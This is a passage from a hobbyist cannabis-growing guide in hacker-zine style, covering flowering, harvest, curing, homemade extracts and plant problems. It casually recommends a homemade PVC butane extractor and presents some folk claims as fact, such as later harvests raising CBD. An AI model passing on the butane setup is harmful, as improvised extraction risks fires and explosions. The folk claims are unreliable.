usually best to bandage the plant after supercropping until it has completely healed since this technique can cause a good deal of damage to the plant if left unattended. It's usually best to delay flowering for a couple of weeks after supercropping to allow the plant to fully heal and build support for those super dank buds it'll be growing. 0x0A: Flowering Once your plant has reached the desired size, it's time for flowering. Unless you're growing an autoflowering variety, the flowering cycle is typically triggered by a change in nighttime length, and most often a 12-hour day/12-hour night cycle is used. Some plants will grow considerably during the flowering phase, especially the African Sativas, so keep this in mind; you don't want to trim the plant once it's in full flower production as this causes considerable stress and can cause the female to produce some seeds. For the first couple weeks of flowering, convert about half of your nutrient solution from the veg mix to the flower mix. Convert more to flowering as time passes. After 2-3 weeks, a pure flowering mix should be used. Once the mass of pistils have formed, increase the nutrient concentration. Large, dense buds will develop, and some leaves may yellow and drop. Toward the end of the cycle, pistils will change color (often from white to orange/brown), and from here on consider flushing with plain water. Flushing leaches leftover fertilizer from inside the plant, giving it a much smoother burn. Plants that are harvested without flushing typically will have harsh smoke, even after curing. At the end of the flowering phase, the crystals on the buds, pistils, leaves, and stems will first turn milky-white. After this, they begin to brown. This is when they are ready to pick. Picking later will bring out more of the Indica characteristics (more CBD/CBN), whereas picking earlier will bring out more of the Sativa characteristics (more THC). Picking too early, however, (before crystals have become milky-white) produces weak buds, and often will just give you a headache when smoked. If after flushing the crystals do not appear to change color, feed them once more, with a full, strong solution, then continue flushing. Additional buds will likely grow, and they will be ready soon after. 0x0B: Harvest Harvest the plants by cutting at the base, then hang them upside-down (I dare you to try hanging them right-side up....good luck) in a dark room to dry. A small amount of airflow is necessary, so keep a fan on low but not pointed directly at the plants. After at least one day of full darkness, you can begin trimming. Trim off all the largest leaf first, leaving the smaller, hashy leaves for manicuring later. If this trim does not have crystals/hash on it, discard it, otherwise save for extracts. Manicuring is a bit of a longer process. You can go the quick route, and just trim the ends of the leaves sticking out like so many lazy-ass growers do, or you can properly manicure your buds, making them look better and preventing you from smoking all that leaf matter. To manicure, use a pair of floral trimmers to reach in and cut the leaves at the base of the stem. This is uaully easier then holding the buds upside down since the leaves are below the buds. It takes practice and patience to avoid clipping off whole buds, but even if you do just save them along with the other manicured buds. After the leaf is clipped off, remove excess stem. If the stems fold when you try to break them, the buds are not dry yet; place them in a brown paper bag for further drying. Once they snap, place them in glass jars for curing. Also, save all the trim from manicuring for making extracts. You can place it in a ziploc bag and put it in the freezer until you're ready to make extracts. Check on the glass jars once a day. Open each jar, and take a whiff. You'll notice over time how the smell changes. Check out the buds. Try snapping a stem. If it folds, either put the buds back in a paper bag, or keep the jar open a bit longer. For a quick, 2-week cure, keep jars open 15-60 minutes per day depending on dryness. If buds are dry, don't leave the jar open too long, but open it at least once a day to allow the air inside to exchange. During the curing process, chemicals inside the buds break down, mainly those that cause harsh smoke. The longer the cure, the smoother the smoke is, but I can't say that anything longer than 8 weeks really makes a difference. Once the buds smell like they have cured, try smoking it. Continue the curing process until the smoke is smooth and clean. 0x0C: Extracts Now here's the fun part. Personally, I like making kief, hash, and baked goods. Butane extracts are also pretty easy. I won't go into detail on those, but making a butane extractor with PVC and a lighter refill can is simple, and there are plenty of guides available online. If you want to make butter or oil for cooking, you can use kief or hash you've already made and not worry about filtering, or you can use the trim in its entirety. If using trim, fill a pot with the amount of butter or oil you want to make. Add just enough water to the pot so that it won't splash or boil over, but otherwise more water doesn't hurt. Mix it all together, and add the trimmings. Simmer the mixture for a minimum of 2 hours and up to 24 hours -- I definitely notice a difference between 2 and 24, but I can't say where the threshold is in between. After it's done cooking, transfer the mixture through a strainer into another pot or bowl, and place this into the refrigerator. The oil or butter (along with the good stuff) will rise to the top, and the water will sit at the bottom. Since THC and the other chemicals are oil- but not water-soluble, none of it should be lost in the water. If the oil hasn't solidified at all, placing it in the freezer for a little while should do the trick (too long and the water will freeze). Scoop out the oil or butter, and use for baking, or spread on toast! Making water hash is pretty easy. Get yourself a set of extract bags (minimum 3) including at least either a 73-ish or 90-ish micron bag. In a set of 3 the others should be around 25 microns and at least 180 microns. Place each bag, smallest first, into a bucket, and fill the bucket with ice-water. Add the trim, and mix for 15-20 minutes with a kitchen or paint mixer. Let the mixture settle for about half an hour, then remove each bag one at a time. The first will remove the trim, and others after will have hash and/or contaminants, depending on how many bags you use. If the set comes with a screen, use the screen to press the water out of each mass of hash. Scrape the hash off and set aside to dry. Even easier than water hash is what I like to call white-trash hash. What comes out is really kief, but you can press the kief into hash if you want. Procure a large container, like a storage bin for a shelf. One with fairly high walls is good so it captures as much of the mess as possible. Take your 73-micron bag, and put your trim inside. Fill the rest of the bag with broken-up dry ice. Tie the bag off (hold it closed), and shake into the container until all the glorious beauty falls out. You may want to split into multiple sessions, the first being more pure and second-grade after that, but I usually just shake until it looks like it's all out. What you end up with in the bag is a green, sloppy mush that you can go ahead and discard. The bin, however, is now full of wonderful kief. Smoke it now, or save it for later. Press a chunk into hash between your palms, or put some in a baggie in your shoe and walk on it until it turns into hash. 0x0D: Signs and Symptoms I've saved the worst for last. Here are different signs and symptoms of various problems you may encounter. Perfect: The sign of perfection is perky plants, solid to deep-green colored (but not too dark). Leaves point upward at a 40-60 degree angle and toward the light. Daily growth is visible. Pistils are perky but not crooked at the ends. Over-watering: leaves will curl downward, with the middle section being the highest, kind of like it's trying to be an umbrella. Wait as long as possible before watering again, and make sure to provide at least a mild nutrient solution especially if straight water was used at the previous watering. Under-watering: Can be similar to heat stress when it occurs frequently, but otherwise the leaves will lose perkiness and wilt, lying beside the stem and pointing downward. Pistils first show signs with crooked ends, and soon after they shrivel and change color. Make sure to fully soak the container after this occurs, the best way being a slow flow of water rather than gushing out of a watering can. Heat-stress: Leaves fold up and inward, especially at the edges. Fix by moving the light further away or reducing the temperature. Supplement with extra air flow and a small extra watering (straight water is usually best for this to prevent nutrient burn when coupled with heat stress). Nitrogen deficiency: Leaves yellow to light-green. Treat by increasing concentration of veg mix. Nitrogen toxicity: Leaves very dark green, later start burning. Treat by reducing the concentration of veg mix. Phosphorus toxicity: Leaves dark green (purple tint sometimes) and wilt, curling downward. Treat by reducing the concentration of flowering mix. Various toxicities, deficiencies, pH burn: Chlorosis (dying plant matter) on various parts of leaves. Different styles signifiy different problems, but overall consider what changes have been made recently. Check pH of nutrient solution. Fix by flushing medium with a mild nutrient solution at proper pH. Avoid using supplements, just use a basic nutrient mix for the current phase. Treat a suspected deficiency with only a slight increase in what you think is needed. More often than not micronutrient dificiencies are only present when using synthetic nutrients and only when not using any other supplements. Mild deficiencies are not likely to show visible symptoms. Bugs! Many different bugs will want to eat your plants. Some of the most annoying are aphids and spider mites. Insecticidal soap works well with aphids, and neem oil works extremely well with spider mites. For aphids, spray on site. Most soaps take care of them well. Also consider removing infected plant matter. For mites, spray thoroughly and afterward remove leaves with noticeable spots since these 90%+ of the time have eggs. Neem will kill the mites but not the eggs. Spray again 2-3 days later and again a week after the first. Afterward, inspect daily and spray as needed. Grasshoppers eat the leaves. Sorry Mr. Grasshopper, but you gotta die. Pick them off and get rid of them however you choose. Caterpillars eat everything, especially the buds. Inspect dying bud matter for caterpillars, and remove those found. Spray with a Bt solution -- it's a bacteria that when eaten causes the caterpillars to stop eating. These methods are all organic (or available as organic). Use synthetic pesticides only in severe cases, and only before buds begin forming. Both the insecticidal soap and neem oil can be washed and rinsed off with regular soap at harvest if necessary. Mold! Mold sucks. Bud mold is highly infective and destructive. Bud mold is characterized by grey/black along the stem and spreads quickly. Remove entire affected plants immediately. Place in quarantine until sure of the diagnosis, then destroy any infected plants. Powdery mildew is annoying but treatable. It is easy to spot -- visible white spots with a powdery look on top of leaves. Treat by spraying with a baking soda solution and increasing air flow. Decrease humidity for up to a week after symptoms disappear if possible. 0xFF - Fin That concludes this guide. I hope you've enjoyed reading it, and I hope you're now ready to grow some super ultra dank megabuds. |=[ EOF ]=---------------------------------------------------------------=|